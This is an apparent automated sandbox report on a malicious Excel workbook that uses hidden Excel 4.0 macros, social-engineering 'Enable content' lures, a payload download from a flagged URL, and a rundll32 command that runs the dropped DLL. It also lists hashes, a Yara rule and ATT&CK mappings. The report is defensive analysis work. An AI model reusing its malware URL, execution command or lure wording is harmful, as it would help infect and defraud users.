Play interactive tour

Edit tour

Analysis Report SecuriteInfo.com.Trojan.Agent.FFFK.8079.3665

Overview

General Information

Sample Name:	SecuriteInfo.com.Trojan.Agent.FFFK.8079.3665 (renamed file extension from 3665 to xls)
Analysis ID:	383014
MD5:	a7c64329efaea29a2dc97ced238490f7
SHA1:	5d4b9b386354444cf74fd858e3409f0294c45330
SHA256:	8ee305eec94aaef24116983ceef933359fb860ab50787b7963c3f46fe751630c
Infos:
Most interesting Screenshot:

Detection

Hidden Macro 4.0

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Document exploit detected (drops PE files)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Document exploit detected (UrlDownloadToFile)

Document exploit detected (process start blacklist hit)

Drops PE files to the user root directory

Found Excel 4.0 Macro with suspicious formulas

Office process drops PE file

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Contains functionality to dynamically determine API calls

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Document contains embedded VBA macros

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the user directory

Drops files with a non-matching file extension (content does not match file extension)

Found dropped PE file which has not been started or loaded

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Startup

System is w7x64

EXCEL.EXE (PID: 2300 cmdline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: 5FB0A0F93382ECD19F5F499A5CAA59F0)

rundll32.exe (PID: 2556 cmdline: rundll32 ..\sdbybsd.fds,StartW MD5: DD81D91FF3B0763C392422865C9AC12E)

rundll32.exe (PID: 2564 cmdline: rundll32 ..\sdbybsd.fds,StartW MD5: 51138BEEA3E2C21EC44D0932C71762A8)

wermgr.exe (PID: 2364 cmdline: C:\Windows\system32\wermgr.exe MD5: 41DF7355A5A907E2C1D7804EC028965D)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Initial Sample

Source	Rule	Description	Author	Strings
SecuriteInfo.com.Trojan.Agent.FFFK.8079.xls	SUSP_EnableContent_String_Gen	Detects suspicious string that asks to enable active content in Office Doc	Florian Roth	0x12ebb:$e1: Enable Editing 0x12c05:$e3: Enable editing 0x12cd7:$e4: Enable content

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus detection for URL or domain

Show sources

Source: http://revolet-sa.com/files/countryyelow.php

Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Show sources

Source: http://revolet-sa.com/files/countryyelow.php

Virustotal: Detection: 12%

Perma Link

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\ySiCz[1].fbx

Virustotal: Detection: 21%

Perma Link

Multi AV Scanner detection for submitted file

Show sources

Source: SecuriteInfo.com.Trojan.Agent.FFFK.8079.xls

Virustotal: Detection: 13%

Perma Link

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:

Binary string: K:\PrintMyMschartLegends_src\Source Code\PrintMyMschartLegends\Release\PrintMyMschartLegends.pdb source: sdbybsd.fds.0.dr

Software Vulnerabilities:

Document exploit detected (drops PE files)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: ySiCz[1].fbx.0.dr

Jump to dropped file

Document exploit detected (UrlDownloadToFile)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Section loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileA

Jump to behavior

Document exploit detected (process start blacklist hit)

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\rundll32.exe

Source: global traffic

DNS query: name: revolet-sa.com

Source: global traffic

TCP traffic: 192.168.2.22:49167 -> 192.232.249.186:80

Source: global traffic

TCP traffic: 192.168.2.22:49167 -> 192.232.249.186:80

Source: global traffic

HTTP traffic detected: GET /files/countryyelow.php HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: revolet-sa.comConnection: Keep-Alive

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\5826D0B3.emf

Jump to behavior

Source: global traffic

Source: rundll32.exe, 00000003.00000002.2090922768.0000000001B90000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2088951177.0000000001AF0000.00000002.00000001.sdmp

String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)

Source: unknown

DNS traffic detected: queries for: revolet-sa.com

Source: rundll32.exe, 00000003.00000002.2090922768.0000000001B90000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2088951177.0000000001AF0000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com
Source: rundll32.exe, 00000003.00000002.2090922768.0000000001B90000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2088951177.0000000001AF0000.00000002.00000001.sdmp	String found in binary or memory: http://investor.msn.com/
Source: rundll32.exe, 00000003.00000002.2091320743.0000000001D77000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2089129564.0000000001CD7000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XML.asp
Source: rundll32.exe, 00000003.00000002.2091320743.0000000001D77000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2089129564.0000000001CD7000.00000002.00000001.sdmp	String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: rundll32.exe, 00000004.00000002.2090160678.00000000027C0000.00000002.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: rundll32.exe, 00000003.00000002.2091320743.0000000001D77000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2089129564.0000000001CD7000.00000002.00000001.sdmp	String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: rundll32.exe, 00000003.00000002.2091320743.0000000001D77000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2089129564.0000000001CD7000.00000002.00000001.sdmp	String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: rundll32.exe, 00000004.00000002.2090160678.00000000027C0000.00000002.00000001.sdmp	String found in binary or memory: http://www.%s.comPA
Source: rundll32.exe, 00000003.00000002.2090922768.0000000001B90000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2088951177.0000000001AF0000.00000002.00000001.sdmp	String found in binary or memory: http://www.hotmail.com/oe
Source: rundll32.exe, 00000003.00000002.2091320743.0000000001D77000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2089129564.0000000001CD7000.00000002.00000001.sdmp	String found in binary or memory: http://www.icra.org/vocabulary/.
Source: rundll32.exe, 00000003.00000002.2090922768.0000000001B90000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2088951177.0000000001AF0000.00000002.00000001.sdmp	String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: rundll32.exe, 00000004.00000002.2088951177.0000000001AF0000.00000002.00000001.sdmp	String found in binary or memory: http://www.windows.com/pctv.

System Summary:

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Show sources

Source: Screenshot number: 4	Screenshot OCR: Enable editing" to unlock the editing document downloaded from the Internet. :54 Protected View Thi
Source: Screenshot number: 4	Screenshot OCR: Enable content" to perform Microsoft Office Decryption Core to start 18 the decryption of the docum
Source: Document image extraction number: 2	Screenshot OCR: Enable editing" to unlock the editing document downloaded from the internet. Protected View This fi
Source: Document image extraction number: 2	Screenshot OCR: Enable content" to perform Microsoft Office Decryption Core to start the decryption of the document
Source: Document image extraction number: 3	Screenshot OCR: Enable Content
Source: Document image extraction number: 4	Screenshot OCR: Enable Editing
Source: Document image extraction number: 14	Screenshot OCR: Enable editing" to unlock the editing document downloaded from the Internet. Protected View This fi
Source: Document image extraction number: 14	Screenshot OCR: Enable content" to perform Microsoft Office Decryption Core to start the decryption of the document

Found Excel 4.0 Macro with suspicious formulas

Show sources

Source: SecuriteInfo.com.Trojan.Agent.FFFK.8079.xls	Initial sample: EXEC
Source: SecuriteInfo.com.Trojan.Agent.FFFK.8079.xls	Initial sample: CALL

Office process drops PE file

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\ySiCz[1].fbx			Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\sdbybsd.fds			Jump to dropped file

Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76E20000 page execute and read and write			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: 76D20000 page execute and read and write			Jump to behavior

Source: SecuriteInfo.com.Trojan.Agent.FFFK.8079.xls

OLE indicator, VBA macros: true

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\ySiCz[1].fbx AC17E1F54B9F800D874E1D012E541FC037BD1A31EE3E8F631A454F2D1DE6ADA1
Source: Joe Sandbox View	Dropped File: C:\Users\user\sdbybsd.fds AC17E1F54B9F800D874E1D012E541FC037BD1A31EE3E8F631A454F2D1DE6ADA1

Source: SecuriteInfo.com.Trojan.Agent.FFFK.8079.xls, type: SAMPLE

Matched rule: SUSP_EnableContent_String_Gen date = 2019-02-12, hash1 = 525ba2c8d35f6972ac8fcec8081ae35f6fe8119500be20a4113900fe57d6a0de, author = Florian Roth, description = Detects suspicious string that asks to enable active content in Office Doc, reference = Internal Research

Source: rundll32.exe, 00000003.00000002.2090922768.0000000001B90000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2088951177.0000000001AF0000.00000002.00000001.sdmp

Binary or memory string: .VBPud<_

Source: classification engine

Classification label: mal100.expl.evad.winXLS@7/8@1/1

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\GDIPFONTCACHEV1.DAT

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRC36D.tmp

Jump to behavior

Source: SecuriteInfo.com.Trojan.Agent.FFFK.8079.xls

OLE indicator, Workbook stream: true

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\rundll32.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\rundll32.exe rundll32 ..\sdbybsd.fds,StartW

Source: SecuriteInfo.com.Trojan.Agent.FFFK.8079.xls

Virustotal: Detection: 13%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\rundll32.exe rundll32 ..\sdbybsd.fds,StartW
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 ..\sdbybsd.fds,StartW
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\wermgr.exe C:\Windows\system32\wermgr.exe
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\rundll32.exe rundll32 ..\sdbybsd.fds,StartW	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 ..\sdbybsd.fds,StartW	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\wermgr.exe C:\Windows\system32\wermgr.exe	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:

Binary string: K:\PrintMyMschartLegends_src\Source Code\PrintMyMschartLegends\Release\PrintMyMschartLegends.pdb source: sdbybsd.fds.0.dr

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_01ED1030 LoadLibraryW,GetProcAddress,SetLastError,SetLastError,SetLastError,SetLastError,GetNativeSystemInfo,SetLastError,SetLastError,GetProcessHeap,RtlAllocateHeap,SetLastError,

4_2_01ED1030

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_02420E20 push dword ptr [edx+14h]; ret

4_2_02420F2D

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\ySiCz[1].fbx			Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\sdbybsd.fds			Jump to dropped file

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\sdbybsd.fds

Jump to dropped file

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\ySiCz[1].fbx			Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\sdbybsd.fds			Jump to dropped file

Boot Survival:

Drops PE files to the user root directory

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\sdbybsd.fds

Jump to dropped file

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\ySiCz[1].fbx

Jump to dropped file

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_01ED1030 LoadLibraryW,GetProcAddress,SetLastError,SetLastError,SetLastError,SetLastError,GetNativeSystemInfo,SetLastError,SetLastError,GetProcessHeap,RtlAllocateHeap,SetLastError,

4_2_01ED1030

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_00340456 mov eax, dword ptr fs:[00000030h]	4_2_00340456
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0034095E mov eax, dword ptr fs:[00000030h]	4_2_0034095E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_01ED1030 mov eax, dword ptr fs:[00000030h]	4_2_01ED1030

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_01ED1030 LoadLibraryW,GetProcAddress,SetLastError,SetLastError,SetLastError,SetLastError,GetNativeSystemInfo,SetLastError,SetLastError,GetProcessHeap,RtlAllocateHeap,SetLastError,

4_2_01ED1030

Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32 ..\sdbybsd.fds,StartW			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\wermgr.exe C:\Windows\system32\wermgr.exe			Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Scripting11	Path Interception	Process Injection11	Masquerading121	OS Credential Dumping	Security Software Discovery11	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	Ingress Tool Transfer2	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Native API1	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Disable or Modify Tools1	LSASS Memory	File and Directory Discovery1	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Non-Application Layer Protocol2	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Exploitation for Client Execution33	Logon Script (Windows)	Logon Script (Windows)	Process Injection11	Security Account Manager	System Information Discovery3	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Application Layer Protocol12	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Scripting11	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Obfuscated Files or Information1	LSA Secrets	Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Rundll321	Cached Domain Credentials	System Owner/User Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Trojan.Agent.FFFK.8079.xls	13%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\ySiCz[1].fbx	22%	Virustotal		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\ySiCz[1].fbx	5%	Metadefender		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\ySiCz[1].fbx	2%	ReversingLabs	Win32.Trojan.Trickpak
C:\Users\user\sdbybsd.fds	5%	Metadefender		Browse
C:\Users\user\sdbybsd.fds	2%	ReversingLabs	Win32.Trojan.Trickpak

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
4.2.rundll32.exe.23b0000.8.unpack	100%	Avira	TR/Crypt.XPACK.Gen		Download File

Domains

Source	Detection	Scanner	Label	Link
revolet-sa.com	4%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://www.%s.comPA	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://www.icra.org/vocabulary/.	0%	URL Reputation	safe
http://revolet-sa.com/files/countryyelow.php	13%	Virustotal		Browse
http://revolet-sa.com/files/countryyelow.php	100%	Avira URL Cloud	malware
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
revolet-sa.com	192.232.249.186	true	false	4%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://revolet-sa.com/files/countryyelow.php	true	13%, Virustotal, Browse Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check	rundll32.exe, 00000003.00000002.2091320743.0000000001D77000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2089129564.0000000001CD7000.00000002.00000001.sdmp	false		high
http://www.windows.com/pctv.	rundll32.exe, 00000004.00000002.2088951177.0000000001AF0000.00000002.00000001.sdmp	false		high
http://investor.msn.com	rundll32.exe, 00000003.00000002.2090922768.0000000001B90000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2088951177.0000000001AF0000.00000002.00000001.sdmp	false		high
http://www.msnbc.com/news/ticker.txt	rundll32.exe, 00000003.00000002.2090922768.0000000001B90000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2088951177.0000000001AF0000.00000002.00000001.sdmp	false		high
http://www.%s.comPA	rundll32.exe, 00000004.00000002.2090160678.00000000027C0000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	low
http://www.icra.org/vocabulary/.	rundll32.exe, 00000003.00000002.2091320743.0000000001D77000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2089129564.0000000001CD7000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.	rundll32.exe, 00000004.00000002.2090160678.00000000027C0000.00000002.00000001.sdmp	false		high
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	rundll32.exe, 00000003.00000002.2091320743.0000000001D77000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2089129564.0000000001CD7000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.hotmail.com/oe	rundll32.exe, 00000003.00000002.2090922768.0000000001B90000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2088951177.0000000001AF0000.00000002.00000001.sdmp	false		high
http://investor.msn.com/	rundll32.exe, 00000003.00000002.2090922768.0000000001B90000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2088951177.0000000001AF0000.00000002.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
192.232.249.186	revolet-sa.com	United States		46606	UNIFIEDLAYER-AS-1US	false

General Information

Joe Sandbox Version:	31.0.0 Emerald
Analysis ID:	383014
Start date:	07.04.2021
Start time:	05:53:16
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 5m 21s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	SecuriteInfo.com.Trojan.Agent.FFFK.8079.3665 (renamed file extension from 3665 to xls)
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.expl.evad.winXLS@7/8@1/1
EGA Information:	Failed
HDC Information:	Successful, ratio: 8.1% (good quality ratio 5.4%) Quality average: 64.3% Quality standard deviation: 45.9%
HCA Information:	Successful, ratio: 100% Number of executed functions: 9 Number of non-executed functions: 4
Cookbook Comments:	Adjust boot time Enable AMSI Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer
Warnings:	Show All Exclude process from analysis (whitelisted): dllhost.exe Report size getting too big, too many NtCreateFile calls found. Report size getting too big, too many NtQueryAttributesFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
05:53:40	API Interceptor	8x Sleep call for process: rundll32.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
192.232.249.186	SecuriteInfo.com.Trojan.Agent.FFFK.23764.xls	Get hash	malicious	Browse	revolet-sa.com/files/countryyelow.php
	SecuriteInfo.com.Heur.19090.xls	Get hash	malicious	Browse	revolet-sa.com/files/countryyelow.php
	SecuriteInfo.com.Heur.4923.xls	Get hash	malicious	Browse	revolet-sa.com/files/countryyelow.php
	SecuriteInfo.com.Heur.4923.xls	Get hash	malicious	Browse	revolet-sa.com/files/countryyelow.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
revolet-sa.com	SecuriteInfo.com.Trojan.Agent.FFFK.23764.xls	Get hash	malicious	Browse	192.232.249.186
	SecuriteInfo.com.Heur.19090.xls	Get hash	malicious	Browse	192.232.249.186
	SecuriteInfo.com.Heur.4923.xls	Get hash	malicious	Browse	192.232.249.186
	SecuriteInfo.com.Heur.4923.xls	Get hash	malicious	Browse	192.232.249.186

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
UNIFIEDLAYER-AS-1US	SecuriteInfo.com.Trojan.Agent.FFFK.23764.xls	Get hash	malicious	Browse	192.232.249.186
